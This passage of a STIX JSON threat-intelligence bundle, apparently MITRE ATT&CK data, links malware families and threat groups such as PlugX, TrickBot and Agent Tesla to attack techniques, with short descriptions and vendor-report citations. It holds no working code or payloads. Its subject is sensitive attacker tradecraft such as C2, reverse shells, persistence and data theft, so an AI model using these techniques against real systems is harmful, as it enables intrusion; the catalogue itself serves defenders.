            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) uses HTTP for C2 communications.(Citation: Talos Zeus Panda Nov 2017)",
            "id": "relationship--b3d3ab9f-03db-4982-b60e-9f7f224f1fc2",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:54:50.679Z",
            "created": "2019-01-29T17:59:44.229Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CIRCL PlugX March 2013",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."
                }
            ],
            "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to create, delete, or modify Registry keys.(Citation: CIRCL PlugX March 2013)",
            "id": "relationship--067ece2b-4e66-437f-88e0-8dc3f076331b",
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-04-19T15:08:15.911Z",
            "created": "2019-01-29T18:17:59.225Z"
        },
        {
            "id": "relationship--fb6a8268-5a73-4ac0-8f61-439f472063d6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "description": "(Citation: Dell TG-3390)",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.610Z",
            "created": "2017-05-31T21:33:27.063Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fortinet Agent Tesla April 2018",
                    "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html",
                    "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Talos Agent Tesla Oct 2018",
                    "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html",
                    "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has enabled TCP on port 587 for C2 communications.(Citation: Fortinet Agent Tesla April 2018)(Citation: Talos Agent Tesla Oct 2018)",
            "id": "relationship--dbe7b773-ddac-4c0f-b785-ad5eca03341a",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "type": "relationship",
            "modified": "2019-04-16T14:30:35.334Z",
            "created": "2019-01-29T18:44:05.060Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
                    "source_name": "PaloAlto UBoatRAT Nov 2017"
                }
            ],
            "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) has used GitHub and a public blog service in Hong Kong for C2 communications.(Citation: PaloAlto UBoatRAT Nov 2017)",
            "id": "relationship--45952aea-8bd7-4f6d-8b23-ee2914860454",
            "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:31:17.109Z",
            "created": "2019-01-29T19:09:26.648Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf",
                    "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.",
                    "source_name": "GovCERT Carbon May 2016"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) uses the command <code>net time \\\\127.0.0.1</code> to get information the system\u2019s time.(Citation: GovCERT Carbon May 2016)",
            "id": "relationship--40a2c8e2-df1c-41a8-beec-951214c8e101",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2021-04-25T15:45:04.886Z",
            "created": "2019-01-29T19:36:02.679Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf",
                    "source_name": "Kaspersky Turla Aug 2014"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) gathers a list of all user accounts, privilege classes, and time of last logon.(Citation: Kaspersky Turla Aug 2014)",
            "id": "relationship--8e876e40-06b7-4830-a281-85c070b6f854",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T19:55:30.798Z",
            "created": "2019-01-29T19:55:48.144Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--bfe45239-7fa4-45a5-bb47-86c4ae46906c",
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "description": "(Citation: Unit 42 Gorgon Group Aug 2018)",
            "type": "relationship",
            "modified": "2019-07-25T14:56:46.821Z",
            "created": "2019-01-29T20:08:24.834Z"
        },
        {
            "id": "relationship--3017cf15-f6a8-4281-8c74-9dd8f7c2666f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can modify file or directory timestamps.(Citation: US-CERT FALLCHILL Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT FALLCHILL Nov 2017",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
                }
            ],
            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2020-03-27T20:45:20.320Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--64006d31-51ea-4908-8b09-2650fdc6b4f8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects registered owner details by using the commands <code>systeminfo</code> and <code>net config workstation</code>.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-18T00:52:18.996Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ea61c268-d0d1-4cbe-8b26-16f70f515a04",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) has a plugin to detect active drivers of some security products.(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-03-16T17:39:57.178Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1177ad8a-d57f-4882-be1f-c327e08017d2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can establish using a AppCertDLLs Registry key.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
                }
            ],
            "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
            "type": "relationship",
            "modified": "2019-06-28T20:48:52.615Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--380db9ad-f6ad-4988-8a28-b773313f07b7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of spawning a reverse shell on a victim.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:22:13.351Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--befbbf7a-6480-4825-b7f6-1561dc6d4189",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can use an add on feature when creating payloads that allows you to create custom Python scripts (\u201cscriptlets\u201d) to perform tasks offline (without requiring a session) such as sandbox detection, adding persistence, etc.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "type": "relationship",
            "modified": "2020-03-18T19:03:38.008Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--982d9af7-45bb-4cc0-9819-aaadb3304783",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lurid](https://attack.mitre.org/software/S0010) can compress data before sending it.(Citation: Villeneuve 2011)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Villeneuve 2011",
                    "description": "Villeneuve, N., Sancho, D. (2011). THE \u201cLURID\u201d DOWNLOADER. Retrieved November 12, 2014.",
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf"
                }
            ],
            "source_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-03-30T02:28:58.614Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3e58118d-64b9-43ae-bfd8-cb3c8bf19556",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SynAck](https://attack.mitre.org/software/S0242) gathers computer names, OS version info, and also checks installed keyboard layouts to estimate if it has been launched from a certain list of countries.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
                    "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"
                }
            ],
            "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-07-26T23:00:57.216Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7ed59789-3b2d-4acf-9127-7af35234a373",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Remsec](https://attack.mitre.org/software/S0125) module has a default C2 port of 13000.(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.717Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1abf4f3f-85e7-4bd1-9432-bddd40a0ad75",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) exfiltrates command output and collected files to its C2 server in 1500-byte blocks.(Citation: Unit 42 OopsIE! Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
            "type": "relationship",
            "modified": "2019-04-24T23:40:23.454Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--084ac639-2502-4020-8938-65352349acbb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) can list directories on a victim.(Citation: US-CERT Volgmer Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer Nov 2017",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-10-15T22:51:03.064Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--cdd38074-895f-40e8-85fb-acc1aa4ecb69",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used batch scripts in its malware to install persistence mechanisms.(Citation: NCC Group APT15 Alive and Strong)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.285Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f7bcd411-995f-41cb-b8ed-c333b0435ed3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) obtains the IP address, location, and other relevant network information from the victim\u2019s machine.(Citation: S2 Grupo TrickBot June 2017)(Citation: Trend Micro Trickbot Nov 2018)(Citation: Cyberreason Anchor December 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                },
                {
                    "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/",
                    "source_name": "Trend Micro Trickbot Nov 2018"
                },
                {
                    "source_name": "Cyberreason Anchor December 2019",
                    "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware",
                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-09-11T13:27:44.628Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) used a Trojan called KEYLIME to collect data from the clipboard.(Citation: FireEye APT38 Oct 2018)",
            "id": "relationship--b2a83e1d-f6e8-4cdc-a96e-7bca9a48dfb2",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2019-09-09T19:10:53.459Z",
            "created": "2019-01-29T21:27:25.287Z"
        },
        {
            "id": "relationship--800825f5-6e74-43ad-a732-476fdf471225",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CloudDuke](https://attack.mitre.org/software/S0054) downloads and executes additional malware from either a Web address or a Microsoft OneDrive account.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T00:35:48.692Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Cobian Aug 2017",
                    "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat",
                    "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018."
                }
            ],
            "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform screen capture.(Citation: Zscaler Cobian Aug 2017)",
            "id": "relationship--0f64f141-1f0f-4374-879d-b08f0fda8979",
            "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-04-23T21:09:54.686Z",
            "created": "2019-01-29T21:40:37.729Z"
        },
        {
            "id": "relationship--d2ff3fa8-04ee-4999-bb84-197513419090",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) binds and listens on port 443.(Citation: US-CERT HARDRAIN March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT HARDRAIN March 2018",
                    "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Accenture Dragonfish Jan 2018",
                    "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf",
                    "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018."
                }
            ],
            "description": "[Elise](https://attack.mitre.org/software/S0081) enumerates processes via the <code>tasklist</code> command.(Citation: Accenture Dragonfish Jan 2018)",
            "id": "relationship--496378e6-ab36-4d3b-9ae3-c493a5b56877",
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-17T22:12:24.904Z",
            "created": "2019-01-29T21:57:39.556Z"
        },
        {
            "id": "relationship--0485006f-c4f6-4657-85a0-6beec8d9368a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[More_eggs](https://attack.mitre.org/software/S0284) can download and launch additional payloads.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "source_name": "Security Intelligence More Eggs Aug 2019",
                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."
                }
            ],
            "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-09-16T19:41:10.195Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) can download additional modules and payloads.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--a21e7dd8-9194-4c09-870c-11f44f391838",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
